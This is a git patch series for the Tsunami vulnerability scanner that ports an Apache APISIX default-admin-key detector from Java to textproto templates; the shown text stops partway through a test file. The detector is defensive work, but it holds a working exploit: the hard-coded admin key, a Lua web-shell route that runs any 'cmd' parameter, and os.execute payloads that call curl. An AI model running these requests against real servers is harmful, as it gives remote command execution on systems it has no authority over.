From bad507a4056f1894b419a7d7827d7296966bbb02 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 7 May 2026 08:53:52 -0400 Subject: [PATCH 1/4] converted apisix default api key detector to templated --- .../apache_apisix_default_token/README.md | 13 -- .../apache_apisix_default_token/build.gradle | 35 --- .../settings.gradle | 12 - .../ApacheDefaultTokenDetector.java | 207 ------------------ ...heDefaultTokenDetectorBootstrapModule.java | 27 --- .../ApacheDefaultTokenDetectorTest.java | 144 ------------ .../ApacheAPISIX_DefaultAPIKey.textproto | 113 ++++++++++ .../ApacheAPISIX_DefaultAPIKey_test.textproto | 82 +++++++ 8 files changed, 195 insertions(+), 438 deletions(-) delete mode 100644 community/detectors/apache_apisix_default_token/README.md delete mode 100644 community/detectors/apache_apisix_default_token/build.gradle delete mode 100644 community/detectors/apache_apisix_default_token/settings.gradle delete mode 100644 community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetector.java delete mode 100644 community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorBootstrapModule.java delete mode 100644 community/detectors/apache_apisix_default_token/src/test/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorTest.java create mode 100644 templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto create mode 100644 templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey_test.textproto diff --git a/community/detectors/apache_apisix_default_token/README.md b/community/detectors/apache_apisix_default_token/README.md deleted file mode 100644 index f4c5376ff..000000000 --- a/community/detectors/apache_apisix_default_token/README.md +++ /dev/null @@ -1,13 +0,0 @@ -# Apache APISIX Default Token RCE Detector - -Apache APISIX has a built-in default API KEY. If the user does not proactively -modify it (which few will), Lua scripts can be executed directly through the API -interface, which can lead to RCE vulnerabilities. - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` diff --git a/community/detectors/apache_apisix_default_token/build.gradle b/community/detectors/apache_apisix_default_token/build.gradle deleted file mode 100644 index 32b312bdf..000000000 --- a/community/detectors/apache_apisix_default_token/build.gradle +++ /dev/null @@ -1,35 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami Apache APISIX RCE (Apache APISIX Default Token) VulnDetector plugin.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" -} diff --git a/community/detectors/apache_apisix_default_token/settings.gradle b/community/detectors/apache_apisix_default_token/settings.gradle deleted file mode 100644 index a4ca5efdf..000000000 --- a/community/detectors/apache_apisix_default_token/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'apache_apisix_default_token' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetector.java b/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetector.java deleted file mode 100644 index 408c0e8eb..000000000 --- a/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetector.java +++ /dev/null @@ -1,207 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.apachedefaulttoken; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.net.http.HttpRequest.get; -import static com.google.tsunami.common.net.http.HttpRequest.post; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.net.MediaType; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.net.URLEncoder; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects Apache APISIX Default Admin Token. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "Apache APISIX with default Admin token Detector", - version = "0.1", - description = "This detector checks Apache APISIX with default Admin token.", - author = "hh-hunter", - bootstrapModule = ApacheDefaultTokenDetectorBootstrapModule.class) -public final class ApacheDefaultTokenDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - @VisibleForTesting - static final String VULN_DESCRIPTION = - "APISIX provides REST management API functionality. Users can manage APISIX using the REST" - + " Admin API. If the REST Admin API is exposed externally and the default hard-coded" - + " admin_key is not modified, an attacker can use the admin_key to execute arbitrary Lua" - + " code, leading to remote command execution."; - - private static final String VUL_PATH = "apisix/admin/routes"; - private static final String POST_DATA = - "{\"uri\":\"/%s\",\"script\":\"local _M = {} \\n" - + " function _M.access(conf, ctx) \\n" - + " local os = require('os')\\n" - + " local args = assert(ngx.req.get_uri_args()) \\n" - + " local f = assert(io.popen(args.cmd, 'r'))\\n" - + " local s = assert(f:read('*a'))\\n" - + " ngx.say(s)\\n" - + " f:close() \\n" - + " end \\n" - + "return _M\",\"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"example.com:80\":1}}}"; - private static final String TOKEN_HEADER_NAME = "X-API-KEY"; - private static final String TOKEN_VALUE = "edd1c9f034335f136f87ad84b625c8f1"; - - private final HttpClient httpClient; - - private final PayloadGenerator payloadGenerator; - - private final Clock utcClock; - - @Inject - ApacheDefaultTokenDetector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { - this.httpClient = checkNotNull(httpClient); - this.utcClock = checkNotNull(utcClock); - this.payloadGenerator = checkNotNull(payloadGenerator); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APISIX_DEFAULT_TOKEN")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache APISIX's Admin API Default Access Token (RCE)") - .setRecommendation( - "Change the default admin API key and set appropriate IP access control lists.") - .setDescription(VULN_DESCRIPTION) - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("Apache APISIX Default Admin Token starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - String targetBaseUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - String targetVulnerabilityUrl = targetBaseUrl + VUL_PATH; - String randomVerifyPath = String.format("tsunami_%s", Instant.now(utcClock).toEpochMilli()); - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - Payload payload = this.payloadGenerator.generate(config); - - String targetExecuteUrl = - targetBaseUrl + randomVerifyPath + "?cmd=" + URLEncoder.encode(payload.getPayload(), UTF_8); - - try { - HttpResponse checkIsAPISIXResponse = - httpClient.send( - get(targetVulnerabilityUrl).setHeaders(HttpHeaders.builder().build()).build()); - if (!checkIsAPISIXResponse.headers().get("Server").orElse("").contains("APISIX")) { - return false; - } - } catch (IOException | AssertionError e) { - return false; - } - - try { - HttpResponse httpResponse = - httpClient.sendAsIs( - post(targetVulnerabilityUrl) - .setHeaders( - HttpHeaders.builder() - .addHeader(CONTENT_TYPE, MediaType.JSON_UTF_8.toString()) - .addHeader(TOKEN_HEADER_NAME, TOKEN_VALUE) - .build()) - .setRequestBody( - ByteString.copyFromUtf8(String.format(POST_DATA, randomVerifyPath))) - .build()); - if (httpResponse.status().code() == 201) { - logger.atInfo().log("Request payload to target %s succeeded", targetBaseUrl); - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(2)); - HttpResponse executeResponse = - httpClient.sendAsIs( - get(targetExecuteUrl).setHeaders(HttpHeaders.builder().build()).build()); - if (executeResponse.status().code() == 200 - && payload.checkIfExecuted(executeResponse.bodyString().orElse(""))) { - logger.atInfo().log("Vulnerability detected on target %s", targetBaseUrl); - return true; - } - } else { - logger.atInfo().log("Execution of the command to the target %s has failed.", targetBaseUrl); - } - } catch (IOException | AssertionError e) { - logger.atWarning().withCause(e).log("Request to target %s failed", targetBaseUrl); - return false; - } - return false; - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorBootstrapModule.java b/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorBootstrapModule.java deleted file mode 100644 index 38cbcb701..000000000 --- a/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorBootstrapModule.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.apachedefaulttoken; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A {@link PluginBootstrapModule} for {@link ApacheDefaultTokenDetector}. */ -public final class ApacheDefaultTokenDetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(ApacheDefaultTokenDetector.class); - } -} diff --git a/community/detectors/apache_apisix_default_token/src/test/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorTest.java b/community/detectors/apache_apisix_default_token/src/test/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorTest.java deleted file mode 100644 index 3ffbac837..000000000 --- a/community/detectors/apache_apisix_default_token/src/test/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorTest.java +++ /dev/null @@ -1,144 +0,0 @@ -/* - * Copyright 2021 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.apachedefaulttoken; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Software; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.io.IOException; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link ApacheDefaultTokenDetector}. */ -@RunWith(JUnit4.class) -public final class ApacheDefaultTokenDetectorTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject private ApacheDefaultTokenDetector detector; - - private MockWebServer mockWebServer; - - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - - @Before - public void setUp() { - mockWebServer = new MockWebServer(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new ApacheDefaultTokenDetectorBootstrapModule(), - FakePayloadGeneratorModule.builder().setSecureRng(testSecureRandom).build(), - new HttpClientModule.Builder().build()) - .injectMembers(this); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - mockWebResponse("TSUNAMI_PAYLOAD_STARTffffffffffffffffTSUNAMI_PAYLOAD_END"); - NetworkService service = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setSoftware(Software.newBuilder().setName("http")) - .setServiceName("http") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(service) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build()); - } - - @Test - public void detect_whenNotVulnerable_returnsNoVulnerability() throws IOException { - mockWebResponse("Hello World"); - ImmutableList httpServices = - ImmutableList.of( - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build()); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - private void mockWebResponse(String body) throws IOException { - mockWebServer.enqueue( - new MockResponse().setResponseCode(201).setHeader("Server", "APISIX").setBody(body)); - mockWebServer.enqueue( - new MockResponse().setResponseCode(201).setHeader("Server", "APISIX").setBody(body)); - mockWebServer.enqueue( - new MockResponse().setResponseCode(200).setHeader("Server", "APISIX").setBody(body)); - mockWebServer.start(); - } -} diff --git a/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto new file mode 100644 index 000000000..ba6b83fb2 --- /dev/null +++ b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto @@ -0,0 +1,113 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "ApacheAPISIX_DefaultAPIKey" + author: + "Robert Dick (robert@doyensec.com) for the Templated version, " + "hh-hunter for the original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "APISIX_DEFAULT_TOKEN" + } + title: "Apache APISIX with default Admin token Detector" + description: + "APISIX provides REST management API functionality. Users can manage APISIX using the REST" + " Admin API. If the REST Admin API is exposed externally and the default hard-coded" + " admin_key is not modified, an attacker can use the admin_key to execute arbitrary Lua" + " code, leading to remote command execution." + recommendation: + "Change the default admin API key and set appropriate IP access control lists." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +# create the route. +# Note: modified a little bit from the original plugin to better match +# what the CVE-2022-24112 plugin does, but without batch-requests. + +actions: { + name: "register_route" + http_request: { + method: PUT + uri: "/apisix/admin/routes/tsunami_rce?ttl=30" + headers: [ + { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" }, + { name: "Content-Type" value: "application/json" } + ] + data: + '{"uri":"/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}"' + ',"upstream":{"type":"roundrobin","nodes":{}},' + '"name":"{{ T_UTL_CURRENT_TIMESTAMP_MS }}","filter_func' + '":"{{ PIPE_REQ_FILTER_FUNC }}"}' + response: { + http_status: 201 + } + } + cleanup_actions: "cleanup_route" +} + +# execute route + +actions: { + name: "execute_route" + http_request: { + method: GET + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}" + } +} + + +# delete the created route + +actions: { + name: "cleanup_route" + http_request: { + method: DELETE + uri: "/apisix/admin/routes/tsunami_rce" + headers: { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + variables: [ + { name: "DEFAULT_API_KEY" value: "edd1c9f034335f136f87ad84b625c8f1" }, + { name: "PAYLOAD" value: "curl {{ T_CBS_URI }}" }, + { name: "PIPE_REQ_FILTER_FUNC" value: "function(vars) os.execute('{{ PAYLOAD }}'); return true end" } + ] + actions: [ + "register_route", + "sleep", + "execute_route", + "sleep", + "check_callback_server_logs" + ] +} + +config: { debug: True } \ No newline at end of file diff --git a/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey_test.textproto b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey_test.textproto new file mode 100644 index 000000000..d131769eb --- /dev/null +++ b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey_test.textproto @@ -0,0 +1,82 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "ApacheAPISIX_DefaultAPIKey" +} + +tests: { + name: "whenCallback_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/apisix/admin/routes/tsunami_rce" + status: 200 + body_content: '' + }, + { + uri: "/apisix/admin/routes/tsunami_rce?ttl=30" + status: 201 + body_content: '' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/apisix/admin/routes/tsunami_rce" + status: 201 + body_content: '' + }, + { + uri: "/apisix/admin/routes/tsunami_rce?ttl=30" + status: 201 + body_content: '' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: '{"status":200}' + } + ] + } +} + + +tests: { + name: "whenRandomServer_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "... Hello world ..." + } + ] + } +} From f07fb968da5a355a17ce487292cadce22547523e Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 7 May 2026 08:58:31 -0400 Subject: [PATCH 2/4] removed debug mode --- .../plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto index ba6b83fb2..8e8478d0b 100644 --- a/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto +++ b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto @@ -108,6 +108,4 @@ workflows: { "sleep", "check_callback_server_logs" ] -} - -config: { debug: True } \ No newline at end of file +} \ No newline at end of file From 53388f8c2942934f99073176365ac03d4d4ca04f Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 08:52:20 -0400 Subject: [PATCH 3/4] added non-callback detector --- .../ApacheAPISIX_DefaultAPIKey.textproto | 148 +++++++++++++++++- .../ApacheAPISIX_DefaultAPIKey_test.textproto | 94 +++++++++++ 2 files changed, 239 insertions(+), 3 deletions(-) diff --git a/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto index 8e8478d0b..00cffe423 100644 --- a/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto +++ b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto @@ -16,7 +16,7 @@ info: { finding: { main_id: { - publisher: "GOOGLE" + publisher: "TSUNAMI_COMMUNITY" value: "APISIX_DEFAULT_TOKEN" } title: "Apache APISIX with default Admin token Detector" @@ -34,6 +34,27 @@ finding: { # ACTIONS # ########### +# Fingerprint APISIX. +# Using multiple cases in case it gets normalized or is different in different versions. + +actions: { + name: "fingerprint_apisix" + http_request: { + method: GET + uri: "/" + response: { + expect_any: { + conditions: [ + { header: { name: "Server" } contains: "APISIX" }, + { header: { name: "Server" } contains: "ApiSix" }, + { header: { name: "Server" } contains: "apisix" }, + { header: { name: "Server" } contains: "Apisix" } + ] + } + } + } +} + # create the route. # Note: modified a little bit from the original plugin to better match # what the CVE-2022-24112 plugin does, but without batch-requests. @@ -77,19 +98,121 @@ actions: { http_request: { method: DELETE uri: "/apisix/admin/routes/tsunami_rce" - headers: { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } + headers: [ + { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } + ] } } actions: { name: "sleep" - utility: { sleep: { duration_ms: 1000 } } + utility: { sleep: { duration_ms: 6000 } } } actions: { name: "check_callback_server_logs" callback_server: { action_type: CHECK } } +# Non-callback actions below this. +# They work by comparing response codes for a route that returns true or false. + +actions: { + name: "register_route_1" + http_request: { + method: PUT + uri: "/apisix/admin/routes/tsunami_rce_1?ttl=30" + headers: [ + { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" }, + { name: "Content-Type" value: "application/json" } + ] + data: + '{"uri":"/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1"' + ',"upstream":{"type":"roundrobin","nodes":{}},' + '"name":"{{ T_UTL_CURRENT_TIMESTAMP_MS }}","filter_func' + '":"{{ PIPE_REQ_FILTER_FUNC_1 }}"}' + response: { + http_status: 201 + } + } + cleanup_actions: "cleanup_route_1" +} + +actions: { + name: "register_route_2" + http_request: { + method: PUT + uri: "/apisix/admin/routes/tsunami_rce_2?ttl=30" + headers: [ + { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" }, + { name: "Content-Type" value: "application/json" } + ] + data: + '{"uri":"/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2"' + ',"upstream":{"type":"roundrobin","nodes":{}},' + '"name":"{{ T_UTL_CURRENT_TIMESTAMP_MS }}","filter_func' + '":"{{ PIPE_REQ_FILTER_FUNC_2 }}"}' + response: { + http_status: 201 + } + } + cleanup_actions: "cleanup_route_2" +} + +actions: { + name: "sleep_longer" + utility: { sleep: { duration_ms: 10000 } } +} + + +# check if our first route is true + +actions: { + name: "execute_route_1" + http_request: { + method: GET + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" + response: { + http_status: 503 + } + } +} + +# check if our second route is false + +actions: { + name: "execute_route_2" + http_request: { + method: GET + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2" + response: { + http_status: 404 + } + } +} + +actions: { + name: "cleanup_route_1" + http_request: { + method: DELETE + uri: "/apisix/admin/routes/tsunami_rce_1" + headers: [ + { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } + ] + } +} + +actions: { + name: "cleanup_route_2" + http_request: { + method: DELETE + uri: "/apisix/admin/routes/tsunami_rce_2" + headers: [ + { name: "X-API-KEY" value: "{{ DEFAULT_API_KEY }}" } + ] + } +} + + ############# # WORKFLOWS # ############# @@ -102,10 +225,29 @@ workflows: { { name: "PIPE_REQ_FILTER_FUNC" value: "function(vars) os.execute('{{ PAYLOAD }}'); return true end" } ] actions: [ + "fingerprint_apisix", "register_route", "sleep", "execute_route", "sleep", "check_callback_server_logs" ] +} + +# for cases where the callback server isn't used + +workflows: { + variables: [ + { name: "DEFAULT_API_KEY" value: "edd1c9f034335f136f87ad84b625c8f1" }, + { name: "PIPE_REQ_FILTER_FUNC_1" value: "function(vars) return os.execute('echo hello')==true end" }, + { name: "PIPE_REQ_FILTER_FUNC_2" value: "function(vars) return false end" } + ] + actions: [ + "fingerprint_apisix", + "register_route_1", + "register_route_2", + "sleep_longer", + "execute_route_1", + "execute_route_2" + ] } \ No newline at end of file diff --git a/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey_test.textproto b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey_test.textproto index d131769eb..7edb1819b 100644 --- a/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey_test.textproto +++ b/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey_test.textproto @@ -16,6 +16,14 @@ tests: { mock_http_server: { mock_responses: [ + { + uri: "/" + status: 200 + body_content: '' + headers: [ + { name: "Server" value: "APISIX" } + ] + }, { uri: "/apisix/admin/routes/tsunami_rce" status: 200 @@ -46,6 +54,14 @@ tests: { mock_http_server: { mock_responses: [ + { + uri: "/" + status: 200 + body_content: '' + headers: [ + { name: "Server" value: "APISIX" } + ] + }, { uri: "/apisix/admin/routes/tsunami_rce" status: 201 @@ -65,6 +81,84 @@ tests: { } } +# Non-callback tests below. + +tests: { + name: "whenResponsesNotDifferent_returnsNotVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: '' + headers: [ + { name: "Server" value: "APISIX" } + ] + }, + { + uri: "/apisix/admin/routes/tsunami_rce_1?ttl=30" + status: 201 + body_content: '' + }, + { + uri: "/apisix/admin/routes/tsunami_rce_2?ttl=30" + status: 201 